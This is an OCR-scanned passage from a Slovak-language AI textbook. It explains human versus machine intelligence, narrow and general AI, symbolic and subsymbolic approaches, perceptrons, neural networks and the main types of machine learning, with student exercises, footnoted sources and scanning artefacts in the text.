porovnavat s komplexnou inteligenciou a od nej sa odvijajicou racionalitou
a emocionalitou Iudskej osoby. Avsak s kazdym dal$im dosiahnutym tspechom na
poli vyvoja technologii Al prichddza vzdy k novému a novému porovnavaniu
inteligencie umelej a 'udske;j.

Zakladnym rozdielom medzi sicasnymi systémami Al a inteligenciou I'udskou je
schopnost skutocne mysliet — systémy AI myslenie a inteligenciu simuluju,
Iudska bytost vSak skuto¢ne mysli v celej sirke kognitivnych schopnosti zavisenych
anaplnenych vedomim a sebauvedomenim. Sticasné pokrocilé systémy Al vykazuju
tzv. trhliny v inteligencii, napr. bariéru chdpania zmyslu prameniacu z uz
spomenutej simuldcie miesto skutoéného rozumového chapania. Vykazuju tiez
absenciu zakladnych prvkov analogickych Iudskému chépaniu, napr. intuitivnu
fyziku, bioldgiu ¢i psychologiu.'*

Pri Iudskej mysli chapeme, ako funguju zakladné procesy myslenia a tzv. "zdravy
rozum". V pripade technoldgii Al v sticasnosti ni¢ podobného nemame. Napriklad
abstrahovanie, pouzivanie analdgii, tvorba konceptov a metaforické myslenie patria
k schopnostiam myslenia zaloZzenom na zdravom rozume, ¢o v pripade umelej
inteligencie nevieme realizovat.'"

Medzi dalSie problémy, ktoré vyjadruju bariéru chapania zmyslu, patri napr.
kreativita, emdcie, moralne hodnoty a etické pravidla, atd.

Vo vSeobecnosti unikatnost [udskej mysle vnimame nielen v schopnosti skuto¢ného
myslenia, ale — a to predovSetkym — v realite vedomia a sebauvedomenia.” Pri
vedomi, resp. sebauvedomeni ide o uvedomovanie si seba a svojho okolia v plnosti
kognitivnych schopnosti, emocii, abstrahovani a prendsani sktsenosti, chapania
zmyslu, procesov ucenia a rozhodovania sa, volovych aspektov konania a pod.'™

Na fenomén umelej inteligencie nazerame ako na riesenie, ktoré by mohlo nahradit
Tudsky mozog. Avsak pri sucasnych vedomostiach o Iudskom mozgu, sicasnom
stave rozvoja pocitacovych systémov, ich vykone a znamych algoritmoch Al to nie
je realne.’®

@_} Z obdobia uisvitu umelej inteligencie je zndmy tzv. Turingov test, ktorého cielom bolo
zistit, Ci je nejaky stroj inteligentny, resp. dokdze mysliet. Turingov test je zaloZeny

1 SANTAVY, Umela inteligencia — dobry sluha a zly pan?, s. 221-223.
150 gANTAVY, Umela inteligencia — dobry sluha a zly pan?, s. 221-223.

51 Zjednodusene povedané, vedomie je uvedomenie si vnuitornej a vonkajsej existencie

(Merriam-Webster).

152 SANTAVY, Umela inteligencia — dobry sluha a zly pan?, s. 225-230.

%5 Najnovsie trendy smerujtice k vSeobecnej (skutocnej) umelej inteligencii a zakladné
rizika s tym spojené stt uvedené napriklad vo vynikajtcej publikdcii Human
Compatible z pera prof. Russella.

RUSSELL, S. Human Compatible. Penguin Books, 2020. ISBN: 978-0-241-33524-6.
SANTAVY, Umeld inteligencia — dobry sluha a zly pan?, s. 231-275.
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na jednoduchej premise: ak dokdze clovek aspori pit minmit konverzovat s nejakym
respondentom bez toho, Ze by zistil, Ze ide o stroj (nie cloveka), tak tento stroj (systém,
pocitac,...) uspesne prejde testom. Inak povedané, stroj dokdZe napodobnit [I'udské
myslienky, dokdZe mysliet. Diskutujte, ¢i je Turingov test dostatocnym overenim
skutocne mysliaceho stroja.

(\9} Zikladnym problémom — a jeho podstata sa tyka prakticky vsetkych systémov umelej
inteligencie dnes — je skutocnost, Ze i ked’ nejaky systém dokdze odpovedat tak, akoby
konverzdcii rozumel, neznamend to, Ze je inteligentny a Ze konverzdcii aj skutocne
rozumie. Realitu tohto problému vystihuje aj argument Cinskej izby, ktory bol
predlozeny filozofom Johnom Searlom v roku 1980. Ide o myslienkovy experiment
ndzorne vyjadrujiici, Ze schopnost zmysluplne odpovedat na poloZené otizky nie je
dostatoénd  na  preukdzanie  schopnosti  otdzkam  porozumiet a  myslief.
Vyhl'adajte na webe a popiste tento myslienkovy experiment.

Zakladné delenia systémov umelej
inteligencie®*

Systémy, ktoré by boli schopné vykazovat inteligentné spravanie, musia spifiat dve
zdkladné vlastnosti:

e autonémnost — schopnost samostatne konat, tj. schopnost systému vykonavat
ulohy v komplexnom prostredi bez neustaleho vedenia pouzivatelom,

e adaptivnost — schopnost sa prisposobovat, t;j. schopnost zlepsovat svoj vykon
(a schopnosti) ucenim sa zo sktisenosti.

Systémy umelej inteligencie mozu byt adaptivne a autondmne len v urcitej oblasti,
t.j. st schopné riesit urcité ulohy ,inteligentnym sposobom”, pricom v ostatnych
oblastiach zlyhavaji. Takéto systémy nazyvame tzko Specializované umelé
inteligencie (narrow AI)™. Ide teda o vysoko Specializované systémy, ktoré su
optimalizované na zvladnutie konkrétnej tlohy, resp. mnoziny tloh.'

15 SANTAVY, Umeld inteligencia — dobry sluha a zly pan?, s. 36-55.

%5 Pouziva sa skratka ANI — Artificial Narrow Intelligence.

156 IBM Deep Blue napr. dokaze porazit najlepsich Sachistov sveta, no ak by tento systém

mal byt pouzity v autonémnych vozidlach, obrazne povedané, nedokazal by sa ani
rozbehnut na rovnej ceste.
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Vseobecna umela inteligencia (general AI)'™ je systém, ktory dokaze zvladnut
akukolvek intelektualnu tlohu. V podstate ide o umelt inteligenciu, ktora by bola
na urovni cloveka.'®

Vsetky metody a systémy umelej inteligencie, ktoré dnes pouzivame, spadaju do
kategorie Specializovanych systémov Al (narrow Al), pricom stcasny rozvoj v tejto
oblasti napreduje milovymi krokmi. VSeobecna umeld inteligencia — i napriek
bombastickym titulkom v novinach a niektorym futurologickym predpovediam —
patri v sucasnosti do oblasti sci-fi.

Analogicky rozliSujeme umeld inteligenciu ako silnii a slabii na zaklade rozliSovania
medzi inteligentnymi systémami a systémami, ktoré inteligentne konaja.'”

Silnd umeld inteligencia (strong AI, artificial general intelligence - AGI) je
skutocne inteligentna a ,uvedomela”, tj. skutocne aj rozumie tomu, ¢o riesi
a vykonava. Skuto¢ne inteligentna Al je sucasne aj vSeobecnou, pretoze ma
schopnost generalizovat, tj. zovSeobectiovat a prendsat ¢i adaptovat naucené
schopnosti na iné tlohy (¢o mimochodom patri k zakladom ['udského myslenia).

Slaba umela inteligencia (weak Al, artificial narrow intelligence - ANI) vykazuje
inteligentné spravanie na zaklade modelov a aplikovanych metod i dat, na ktorych
sa u¢i (je natrénovand). Ide teda o systémy, ktoré sii zamerané na rieSenie
konkrétnych dloh a st zavislé na ludskom vstupe a konfiguracii.'®® Slaba Al
reprezentuje systémy, ktoré aktudlne mame, t.j. informacné (prevazne pocitacoveé)
systémy, ktoré vykazuju inteligentné spravanie.

Prikladom tizkej a slabej umelej inteligencie moZe byt algoritmus pre hranie Sachu
alebo hry Go, autondémne riadenie vozidla, systém na automatické odportcanie
obsahu v ramci sluzieb Netflix alebo Youtube a pod. Vzdy ide o systémy
optimalizované na konkrétnu tulohu, pricom pracuji na zaklade modelov
anatrénovania, ktoré realizovali [udské timy.

137 Pouziva sa skratka AGI — Artificial General Intelligence.

138 Niekedy sa z okruhu AGI samostatne vyclenuje este ASI — Artificial Super Intelligence,
tj. umela inteligencia, ktora by bola napriec¢ vsetkymi oblastami inteligentnejsia ako
¢lovek. Uvahy o ASI sa mnohokrét spéjaji s konceptom singularity v oblasti Al v ktorej
umeld inteligencia so schopnostou ucit sa, zlepsovat sa a samostatne sa vyvijat, rychlo
dosiahne a nasledne extrémne prevysi inteligenciu ¢loveka.

159 Zakladnym problémom, a jeho podstata sa tyka prakticky takmer vsetkych systémov
umelej inteligencie dneska, je skutocnost, Ze i ked nejaky systém dokaze odpovedat tak,
akoby konverzacii rozumel, neznamena to, Ze je inteligentny a ze konverzacii aj
skutocne rozumie.

10" Vytvorenie skutocne dobre fungujiceho systému Al vyzaduje skuto¢nych odbornikov,
ktori budt schopnych aplikovat spravne metédy i spravne nakonfigurovat
a parametrizovat dany systém. Pre laikov moze tato praca vyzerat ako magia ¢i voodoo.
MITCHELL, Artificial Intelligence, s. 98.
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KedZe vsetky sucasné systémy umelej inteligencie st tzv. ANI, tj. patria do
kategorie tizkej a slabej Al, priklady vSeobecnej a silnej umelej inteligencie pozname
len z teoretickych navrhov alebo z popkultiry sci-fi. Medzi sci-fi predstavy patri
napriklad postava Terminatora, Holly zo serialu Cerveny trpaslik, po¢ita¢ HAL 9000
z romdanu Arthura C. Clarka 2001: Vesmirna odysea alebo viacero Al protagonistov
z diel Isaaca Asimova.

sinaat

A
]

- skuto¢ne inteligentna Al

Al zavisla na ¢loveku

_ vSeobecna Al
A
vSeobecna Al silna Al
<4 >
v
3 A
<« UzkaAl
= i slaba Al
i vSeobecna Al .

Obr.: Vztah medzi silnou a slabou, vSeobecnou a tizko Specializovanou umelou
inteligenciou.

V duchu inteligenciou na prasknutie naplneného kufra Marvina Minského existuje
velké mnozstvo metod, algoritmov a technologii navrhu a realizacie systémov Al
pricom ich pocet neustéle rastie. Principidlne mézeme tato Sirokti mnozinu metéd
filozoficky rozdelit do dvoch za nimi stojacich pristupov:

e symbolicka Al
e subsymbolicka Al

& Symbolicka umela inteligencia ide cestou vytvarania umelej inteligencie na
baze Iudského myslenia, t.j. pojmov, slov, fraz (= symboly) a vztahov medzi
nimi. Symbolické systémy na zaklade definovanych pravidiel a postupov (,,ak
nieco, tak potom toto”) mo6zu jednotlivé symboly spracovavat a vykonavat
priradené tlohy.' Pre symbolickt Al sa vyznam jednotlivych symbolov odvija

et MITCHELL, Artificial Intelligence, s. 21.
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od sposobu ich kombinacie, vzajomnych vztahov a operacii, ktoré mozu byt
nad nimi vykonavané.'®?

Kedze logika je nutnou podmienkou nasho chdpania vSeobecnej inteligencie,
symbolické systémy sa snazia logickymi operaciami rieSit rdéznorodé ulohy
vyZadujuce nejaky stupen inteligencie. Striktna formalnost logického uvazovania
umoznuje algoritmizovat ho a previest do strojovej formy.

Prvé symbolické systémy vyuzivali tzv. vyrokovt logiku,'® no jej aplikacia
v systémoch Al rychlo narazila na limity a obmedzenia pri snahe logicky popisat
vsetky moznosti, ktoré pri vykondvani logickych operdacii nad objektami realneho
sveta mozu nastat. Jednoducho povedané, vyrokovou logikou nedokazeme popisat
tieto ulohy v dostatocne vSeobecnej rovine a algoritmy umelej inteligencie
s vyrokovou logikou nedokazu zovseobectiovat bez popisu takmer vsetkych
moznych situacii.'*

(\D} Zamyslite sa a pomocou prikazov if then else a cyklov algoritmus na ovlddanie vytvorte

robota, ktory pojde z triedy do jeddlne.

(\D} Je mozné malou zmenou algoritmu zmenit prechod robota z vasej triedy do riaditelne?

Ovela lepsie sa javia systémy vyuZzivajuce logiku prvého radu, ktoré ponukaju
formalny jazyk schopny SirSich a vSeobecnejsich formulacii pre formulovanie
logickych operacii, a tym aj roznych aspektov inteligencie. Kym vyrokova logika
stavia na vyrokoch, ktoré mozu byt pravdivé alebo nepravdivé, logika prvého radu
stavia na roznorodych vztahoch medzi objektami.’®® V ramci rieSenia tiloh, ktoré boli
zalozené na presnych a istych informaciach, systémy vyuzivajuce logiku prvého
radu dosiahli vysokut dokonalost.

Pri snahe riesit zlozitejSie tlohy, ktoré mali napr. nepresné vstupy ¢i vyzadovali
rozpoznavanie objektov v redlnych obrazovych scénach s vizualnym sumom a pod.,

162 MITCHELL, Artificial Intelligence, s. 23.

163 Vyrokova logika sa zaobera vyrokmi, ich pravdivostou a odvodzovanim. Pojem vyrok

je mozné chapat ako tvrdenie v tvare oznamovacej vety, ktoré moze byt pravdivé alebo
nie.
16+ Analogicky problém maju aj na Statistike a pravdepodobnosti postavené metddy
s porovnatelnymi vyjadrovacimi schopnostami.
RUSSELL, S. Human Compatible. Penguin Books, 2020, s. 270.

165 Napriklad v hre Go by sme v rdmci vyrokovej logiky museli vytvorit neskuto¢ne vela
pravidiel prakticky pre vSetky mozné tahy a polohy jednotlivych kamenov. Pomocou
logiky prvého radu vieme pravidla definovat vSeobecne a velmi jednoducho: pre vsetky
casové kroky T a pre vSetky polohy P a pre vSetky farby C, ak je C na tahu v ¢ase Ta P
je v case T neobsadené, potom je pre C legalne posunut kamen na poziciu P v case T. Ak
k tomu priddme niekolko dalsich definicii, napr. definovanie miest a dvoch farieb na
Sachovnici alebo ¢o to znamend neobsadena pozicia, mame zaklad tplnych pravidiel
hry Go. Pravidla zaberaju v logike prvého radu priblizne tolko miesta ako v anglictine
alebo v slovencine.
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vSak symbolické systémy zlyhavali. Nadejné Al systémy postavené na logike prvého
radu tak pohoreli na neschopnosti zvladnut neisté a nejednoznac¢né informacie.'*

I napriek tomuto velkému nedostatku symbolické systémy umelej inteligencie stale
existuju a v niektorych oblastiach nasadenia sa stale pouzivaju (napr. expertné
systémy, ktoré vyuzivaju clovekom vytvorené pravidla pre rieSenie tloh spojenych
s lekarskou diagnostikou ¢i pravnymi rozhodnutiami, Specidlne aplikacie
spracovania obrazu alebo zadania v spravodajskych sluzbach a pod.). Tiez treba
spomenut hladanie a vyvoj novych algoritmov Al - symbolické systémy st
zvazované ako sucast rieSeni v kombindcii s modernymi neurénovymi sietami
a hlbokym ucenim.'’

& Subsymbolicka umela inteligencia a jej vznik boli inSpirované pokrokom
v neurovede. Subsymbolicky pristup k Al sa snazi uchopit nase myslienkové
procesy, ktoré by sme mohli nazvat niekedy nevedomymi ¢i automatickymi,
a ktoré su zakladom tzv. rychleho vnimania (fast perception), co vyuzivame
napr. pri rozpoznavani tvari alebo identifikacii hovorenych slov.

Subsymbolické programy umelej inteligencie tak neobsahujii sibor presnych
softvérovych postupov na trovni logického myslenia, ale st tvorené len
stohom rovnic, pre nezainteresovaného len neprehladnym zhlukom tazko
interpretovatelnych operacii s ¢islami. Subsymbolické systémy st navrhnuté
tak, aby sa ucili vykonavat tlohy na zaklade dat.'s®

Symbolicka Al, velmi zjednoduSene povedané, sa pomocou matematickej logiky
snazi emulovat (napodobnit) procesy myslenia,' subsymbolickd Al — znovu
zjednodusujtc - sa usiluje o emuldciu ¢innosti mozgu na trovni neurénov.

Symbolicky pristup — vyuZzivajici prisnu logiku a stavajtici na jasne definovanych
charakteristikach prostredia a vztahov medzi objektmi ¢innosti systémov Al —
dosahoval svoj vrchol v osemdesiatych rokoch minulého storocia.'”® Tento pristup
vsak dokdzal byt tspesny len pri rieSeni Specifickych typov problémov zalozenych
na konkrétnych charakteristikach prostredia, vybranych interakciach systémov Al
s tymto prostredim a zadanej konkrétnej mnozine ciefov. VSetko ostatné, ¢o by
mohlo a malo byt predmetom cinnosti akejkol'vek inteligencie, vSak bolo pre tieto
systémy tabu — symbolické systémy zlyhavali a zlyhavaja pri rieSeni problémoyv,

166 RUSSELL, Human Compatible, s. 271.
17 MITCHELL, Artificial Intelligence, s. 24.
168 MITCHELL, Artificial Intelligence, s. 24.

19 Procesy, ktoré u I'udi zahfnaji zmyslové vnimanie, abstrahovanie pojmov, vytvaranie
sudov a usudkov.

170 T5lo o také systémy ako Fifth Generation project japonskej vlady, projekty vladnej
agentury DARPA v USA, pripadne britska Strategic Computing Initiative, ktoré
vyuzivali tzv. first-order logic pretavent do symbolického programovania
v programovacom jazyku Prolog.

RUSSELL, Human Compeatible, s. 271.
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ktoré sa nedaju exaktne opisat a v redlnych prostrediach, ktoré nie je mozné
deterministicky uchopit, a st plné nejasnyjch informacii (obsahuju prvok nahodnosti
alebo neistoty).'”*

Preto vac¢Sina modernych implementdcii systémov umelej inteligencie (medzi ktoré
patria algoritmy strojového ucenia vo vSeobecnosti a osobitne neurénové siete)
vychadza zo subsymbolického pristupu. Tento pristup sa snazi konkrétne problémy
uchopit a v urcitej miere aj uspesne riesit, ¢i uz klasickymi metédami, ako su
regresné a Statistické metddy, alebo emulaciou ¢innosti mozgu na trovni neurénov
prostrednictvom tzv. neurénovych sieti.

Neurdnové siete

Princip neurénovych sieti pozndme uz osemdesiat rokov, kedZe prvy matematicky
model tychto sieti navrhli v roku 1943 Warren McCulloch a Walter Pitts ako
predmet/objekt skiimania fungovania biologickych neurénov.'”

Rozmach vo vyuzivani neurénovych sieti prichadza v porovnani so symbolickymi
systémami Al ovela neskoér. Dovodov je viacero: jednoduchsi navrh a nasadenie
symbolickych systémov (vyrokovi logiku a logiku prvého radu je mozné vyborne
algoritmizovat a programovat), pociatotnd neexistencia klucovych prvkov
realizdcie neurénovych sieti (napr. back-propagation algorithm - algoritmus
spdtného Sirenia chyby pre realizovanie spdtnej vdzby vo viacerych vrstvach)
a nasledne oneskoreny vyvoj adekvatnych modelov tychto sieti, neexistencia
skutoc¢ne rozsiahlych datasetov (mnozin Struktirovanych i nestruktarovanych dat)
a nedostato¢na kapacita vypoctovych systémov. VyrieSenie uvedenych problémov
znamenalo nielen rychle rozsirenie neurénovych sieti, ale aj velky narast v ich
vykone a schopnostiach.

Pracu neurdénov a neurénovych sieti si vysvetlime v tejto kapitole.

7t Hovorime o rieSeni stochastickych procesov a pre ne vytvorenych modelov, kedze
obsahuju prvok nahodnosti alebo neistoty.
RUSSELL, S., NORVIG, P. Artificial Intelligence: A Modern Approach, 3rd edition.
Pearson, 2009, s. 177. ISBN: 978-9-332-54351-5.

172 MCCULLOCH, W.S., PITTS, W. A Logical Calculus of the Ideas Immanent in Nervous
Activity. Bulletin of Mathematical Biophysics, 1943, Vol. 5, s. 115-133.
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Obr.: A —neurdn v mozgu, B — jednoduchy perceptron.’”

Prvy pocitacovy systém pracujuci na principe neurénovych sieti uzrel svetlo sveta
az v roku 1958, ked' psycholog Frank Rosenblatt vytvoril svoj slavny perceptron,
ktory jednoduchym spdsobom simuloval spractivanie informacie v neurdne, ako
vidime na obrazku, kde cast A zobrazuje neurén s oznacenymi rozvetvenymi
vldknami, ktoré privadzaju vstupy do bunky (dendrity) a s vystupnym kanalom
(axon). Cast B je schematickym néaértom jednoduchého perceptronu, ktory séitava
vstupy a v pripade, Ze vysledny stcet je rovny alebo vacsi ako nastavend prahova
hodnota,'” vystup je 1 (analogické vyslanie impulzu neurdénu), v opacnom pripade
je hodnota vystupu 0.

V schematickom nacrte perceptronu, ako simulacie neurénovej bunky, je slovnym
spojenim , vazené vstupy” vyjadreny podstatny aspekt, bez ktorého nie je mozné
simulovat mechanizmus ucenia sa mozgu — a to vyjadrenie sily jednotlivych
vstupnych dendritov a ich tprava, ako sticast tohto mechanizmu ucenia sa. Ide teda
o vyjadrenie vahy jednotlivych vstupov perceptronu a proces ich modifikacie, ako
sucast ucenia sa (adaptacie) systému umelej inteligencie.

73 MITCHELL, Artificial Intelligence, s. 25, upravené autorom.

174 Prahova hodnota je hodnota alebo bod, ktory sltzi ako limit pre urcity proces, tirover
alebo stav. Ked je tento limit dosiahnuty alebo prekroceny, dochadza k urcitej zmene
alebo reakcii. V informatike sa prahova hodnota ¢asto pouziva v algoritmoch na
rozhodnutie, kedy sa ma vykonat urcitd akcia. Prahova hodnota vo vSeobecnosti
umoziuje systémom alebo procesom reagovat na zmeny, ktoré dosahuju alebo
prekracuja urdita kriticka troven.

176



Predsudok

b
( x; Oo—W;
Aktivacna
funkcia
Vystup
Vstup< x; O >W, Z —) f —> )y

Vahy
Obr.: Zdkladné proky umelych neurdnov.

Analogicky k uvedenému prikladu bol jednoduchy koncept perceptronu postupne
rozvinuty do podoby, v ktorej st v systémoch Al implementované samouciace sa
mechanizmy na zmenu vahy vstupov, aplikované doplnkové konstanty k stctu
vazenych vstupov a variability prahovej hodnoty.'”>

Na rozdiel od systémov symbolickej Al, ktorej procesy ,inteligencie” boli
vysledkom presnych pravidiel a vztahov medzi symbolmi (pojmy, frazy, slova,...),
pri subsymbolickych systémoch je vsetka ich ,inteligencia” zakoédovana v ¢islach,
ktoré reprezentuja vahy a prahové hodnoty. Ide teda o stoh rovnic (vid
predchadzajica kapitola), ktoré funguji na zaklade spravneho nastavenia vah
a prahovych hodnét. Tento proces moZeme nazvat ucenim, pricom systémy sa ucia
na vzorkach ucebnych (trénovacich) dat.

Realizacia systémov umelej inteligencie na zaklade automatického
(samostatného) ucenia sa z existujicich vzoriek, dat, pripadne skusenosti'”, sa
nazyva strojovym ucenim (machine learning). Vysledkom je nachddzanie vzorov
vo vstupnych datach a také nastavenie vah a prahovych hodndt, ktoré systému
umozni poskytovat relevantné vysledky a rozhodnutia. To znamenad, Ze systém
dokaze adekvatne reagovat na rozne vstupné hodnoty bez toho, aby bol na ne
explicitne naprogramovany, iba na zaklade informacii, ktoré sa uz naucil.

175 Postupne tiez boli vyvijané nové generacie modelov neurénov od McCullochovych
Pittsovych neurénov s prahovymi, resp. sigmoidalnymi hradlami az po neuromorfné
architektary postavené na tzv. spike neurénoch (a celych spike neurénovych sietach),
pripadne na neurogenegickom modelovani.

MAASS, W. Networks of spiking neurons: The third generation of neural network
models. [on-line]. [cit. 5. februara 2024].Dostupné na internete: <https://www.
sciencedirect.com/science/article/abs/pii/S0893608097000117>

176 Pod skuisenostou mozeme rozumiet napr. data zo senzorov robotického systému, ktory
prave narazil na prekazku a pod.
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Analogicky k perceptronu simulacia viacerych poprepdjanych neurénov tvori
neurdnovu siet, pricom jednotlivé simuldcie neurénov — uzly (node/unit) sti radené
do vrstiev (layer). Vstupné data s postupne spractvané jednotlivymi — skrytymi
vrstvami (hidden layers), ktoré obsahuju skryté uzly. Skryté vrstvy moze
predchadzat eSte samostatna vstupna vrstva (input layer). Posledna vrstva, ktorej
vystupom je vysledok ¢innosti neurénovej siete, sa nazyva vystupna (output layer).
Uzly medzi jednotlivymi vrstvami si navzajom poprepajané vazenymi spojeniami.

Ak ma neurénova siet viac nez jednu vrstvu, nazyva sa viacvrstvova (multilayered
network). Jej priklad je uvedeny na obrazku.

vystupy

vstupnd vrstva skrytd vrstva  vystupnd vrstva

Obr.: Viacvrstvovd neurénovd siet.V’”

Siet, ktora obsahuje viac ako jednu skrytt vrstvu, sa nazyva hlbokou neurénovou
sietou (deep neural network, pripadne len deep network), ako je uvedené na
obrazku.

Sucasné sofistikované a najvykonnejsie systémy umelej inteligencie vyuzivaju typ
strojového ucenia, ktory sa nazyva hlboké ucenie (deep learning). Algoritmy
hlbokého ucenia sa ucia trénovanim na obrovskom mnozstve dat prostrednictvom
skrytych vrstiev hlbokych neurénovych sieti.

177 Wikimedia.org, licencia CC, upravené autorom.
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vstupna vrstva skryté vrstvy vystupna vrstva

|

Obr.: Hlbokd neurénovd siet. 1”8

Zakladné algoritmy strojového ucenia

PodTa toho, ako konkrétne proces ucenia prebieha, mozeme algoritmy strojového
ucenia rozdelit do nasledovnych skupin:

e ucenie s ucitefom (supervised machine learning),
e ucenie bez ucitela (unsupervised machine learning),
e ucenie formou odmenovania (reinforcement learning).

Systémy Al vyuZzivajice ucenie s ucitelom tvoria v stcasnosti vacsinu
systémov strojového ucenia.'”” Zakladom je dostato¢ne velka mnozina spravne
oznacenych/klasifikovanych trénovacich dat (labeled training dataset)
s pozitivnymi a negativnymi prikladmi. Napriklad, ak chceme naucit systém
rozpoznavat rdznym spdsobom napisant ¢islicu 5, musime mat velkt kolekciu
napisanych 5-iek, pri ktorych je uvedené oznacenie (label), Ze ide o ¢islicu 5
a tiez velku kolekciu inych pisanych dislic s oznacenim, Ze to nie je cislica 5.
Tieto kolekcie tvoria tzv. trénovacie data (training set/dataset). Systém
v procese ucenia vyhodnocuje kazdd jednu predlozent Ccislicu, pricom
vysledok sa porovna s jej oznacenim (je — nie je to 5). V pripade nezhody sa
generuje signal (supervision signal), oznacujici nespravny vysledok, resp.
mieru nezhody. Na zaklade takychto signdlov si systém meni nastavenia vah
a prahovych hodnot, az kym sa nedostane do stavu, ze vSetky vstupné data

178 Wikimedia.org, licencia CC, upravené autorom.

17" Jednou z najznamejsich aplikdcii ucenia s ucitelom je realizacia konvolu¢nych

neuronovych sieti (CNN) na rozpozndvanie obrazu (klasifikacia obrazkov, detekcia

objektov, rozpoznavanie tvari a pod.).
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z tréningovej mnoziny su spravne vyhodnotené (v nasom pripade vSetky ¢islice
5 vyhodnotené ako 5 a ostatné vyhodnotené ako nieco iné).'®

SUPERVISED LEARNING

Supervised machine learning is a branch of artificial intelligence that focuses on
training models to make predictions or decisions based on labeled training data.

Labeled Data
‘ “ ? Prediction

3
"‘6‘. .. _M)odel Training T

Carrot

Bell
. Pepper

Ll

Tomato

Labels
Tomato r %T ToaE C.! m
est Data i
v Pea;;!er DatabaseTown ii

Obr.: Schematicky ndcrt, ako pracuje ucenie s ucitelom.’™

& Ucenie bez ucitela sa pouziva pri datach, ktoré neboli vopred klasifikované.
Chyba nam teda oznacenie (label) — spravna odpoved, ktora klasifikuje vstupné
data (napr. ide o ¢islicu 5, na vstupe je trojuholnik,...)."s?

Systémy s ucenim bez ucitela sa vyuzivaja v pripade, Ze na vstupe nemame
Klasifikované data alebo ide o data, ktoré nepozndme, takze nevieme natrénovat
systém na zaklade dat, ktoré by sme poznali a vedeli ich klasifikovat, resp. oznacit.
Zakladné algoritmy vyuzivajlice ucenie bez ucitela teda nie st schopné urcovat

180 Cyklus prijatia informacie na vstupe — jej spracovania — vyhodnotenia vysledku —
nasledna zmena vahovych stavov sa pri zlozitejSich neurénovych sietach nazyva
epochou trénovania systému Al Pri trénovani systém prechadza mnohymi epochami,
ktorych ovocim sti meniace sa vahové stavy i parametre systému a zlepSujtca sa
Kklasifikacia, t.j. lepsie vysledky. Nakoniec systém , konverguje”, t.j. medzi jednotlivymi
epochami sa vahové stavy takmer vobec nemenia a neurénova siet je v principe
v rozsahu trénovacich dat vytrénovana (naucena).

Por. MITCHELL, Artificial Intelligence, s. 80.

Supervised Learning: Algorithms, Examples, and How It Works [cit. 15. augusta 2023].
Dostupné na internete: https://databasetown.com/supervised-learning-algorithms/

181

182 Por. Algoritmy strojového ucenia II. [on-line]. [cit. 15. augusta 2023].
Dostupné na internete: https://umelainteligencia.sk/algoritmy-strojoveho-ucenia-ii-
ucenie-bez-ucitela
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spravny vystup — ich cielom je skor skimanie a analyza vstupnych dat v snahe
objavit a popisat vzory a struktary v tychto datach, teda dozvediet sa o datach, resp.
z tychto dat nieco viac.

Ucenie bez ucitela sa vyuZziva na rieSenie tiloh zhlukovania a asociovania.

Cielom zhlukovania je spdjanie dat do skupin, ktoré majii nie¢o spolo¢né, napr.
segmentacia zakaznikov do skupin s podobnymi preferenciami, niektoré problémy
spracovania obrazu a detekcie objektov a pod.

Asociovanie sa vyuziva pri vyhladavani asociacnych pravidiel, ktoré popisuju
mnoziny dat a vyjadruju vztahy medzi nimi. Takyto pristup pouzivaju napriklad
predajné systémy, ktoré po natrénovani vedia zdkaznikom kupujicim si urcity
produkt ponuknut dalSie relevantné produkty (napr. ponuka periférii pri kupe
notebooku), rieSenie niektorych problémov pri jazykovych prekladoch a pod.

UNSUPERVISED LEARNING

Unsupervised learning is a type of machine learning where the algorithm learns
from unlabeled data without any predefined outputs or target variables.

§
Input Raw Data & DatabaseTown Outputs b‘
D ® —0
II Interpretation Processing '

h .4

Unlabeled Data

Obr.: Unsupervised Learning: Types, Applications & Advantages'™

& Ucenie formou odmeniovania tvori osobitnti kategdriu algoritmov strojového
ucenia, pri ktorom sa trénovanie modelu (agenta) realizuje prostrednictvom
interakcie s prostredim metédou pokus-omyl. Zakladom ucenia formou
odmenovania (nazyvaného aj ucenie s posilnenim) st pravidla, podla ktorych
sa agent moze v danom prostredi spravat a odmenovacia funkcia (funkcia

18 Unsupervised Learning: Types, Applications & Advantages [on-line]. [cit. 27.01.2023].
Dostupné na internete: https://databasetown.com/unsupervised-learning-types-
applications/
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uzitocnosti), prostrednictvom ktorej agent vie vyhodnotif, ¢i vykonané
rozhodnutie bolo pre neho spravne alebo nie.'

Ucenie agenta teda neprebieha na ziadnych oznacenych ¢ neoznacenych
trénovacich datach. Systém v danom prostredi skui$a jednotlivé moznosti a udi sa,
ktord moznost, resp. kombindcia moznosti je spravna a ktora nie.

Samozrejme, ide len o vyjadrenie principu —jeho realizacie vo forme algoritmov, ako
st napr. Q-learning ¢i Deep Q-learning, s ovela sofistikovanejsie a vyuzivaja ich
napr. Sachové systémy, systémy pre pohyb robotickych stprav v prostredi,
autonémne vozidla, generativne AI/LLM™ (napr. ChatGPT) a pod.

Pre spravne vytrénovanie systému ucenim formou odmeriovania treba zvycajne
extrémne vela iterdcii (opakovani) (napr. miliony pokusov), preto, ak je to mozné,
byva trénovanie riesené vo virtualnych simulaciach daného redlneho (napr.
robotického) systému.

Dalsie sposoby delenia algoritmov strojového uéenia

Doteraz uvedené zdkladné delenie algoritmov strojového ucenia podla toho, ako
konkrétne proces ucenia prebieha, mézeme doplnit o dalsie delenia, resp. vyjadrit aj
inak.'s¢

Napriklad medzi zdkladné typy strojového ucenia patri: klasifikacia, regresia,
zoradovanie, posilnené ucenie, zhlukovanie, detekcia anomalii, odportcanie
a optimalizacia.

Zakladné algoritmy Kklasifikacie sti: baseline modely, naivny Bayesov klasifikator,
logisticka regresia, Support Vector Machines, rozhodovacie stromy a ensemble
metody.

Medzi zakladné regresné algoritmy ratame: analytické metody, gradient descent,

SVR, regresné stromy.

Zakladné zhlukovacie algoritmy st: K-means, hierarchické zhlukovanie, metédy na
urcenie poctu zhlukov.

Medzi v stcasnosti najpouzivanejSie pokrocilé algoritmy strojového ucenia

v produkcénom prostredi patria: transformery, LSTMs (Long Short-Term Memory),
CNNs (Convolutional Neural Networks), GBDTs (Gradient Boosted Trees), K-

184 Por. Algoritmy strojového ucenia III. [on-line]. [cit. 15. augusta 2023].
Dostupné na internete: https://umelainteligencia.sk/algoritmy-strojoveho-ucenia-iii-
ucenie-formou-odmenovania

18 Large language models.

1% DE ALBUQUERQUE, V.H.C,, RA]J, P., YADAYV, S.P. Toward Artificial General
Intelligence: Deep Learning, Neural Networks, Generative Al. De Gruyter, 2024. ISBN:
9783111323749.
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Means Clustering, Naive Bayes, Logistic Regression, Reinforcement Learning, K-
Nearest Neighbors.'®

Viaceré z uvedenych algoritmov je mozné realizovat nielen pomocou
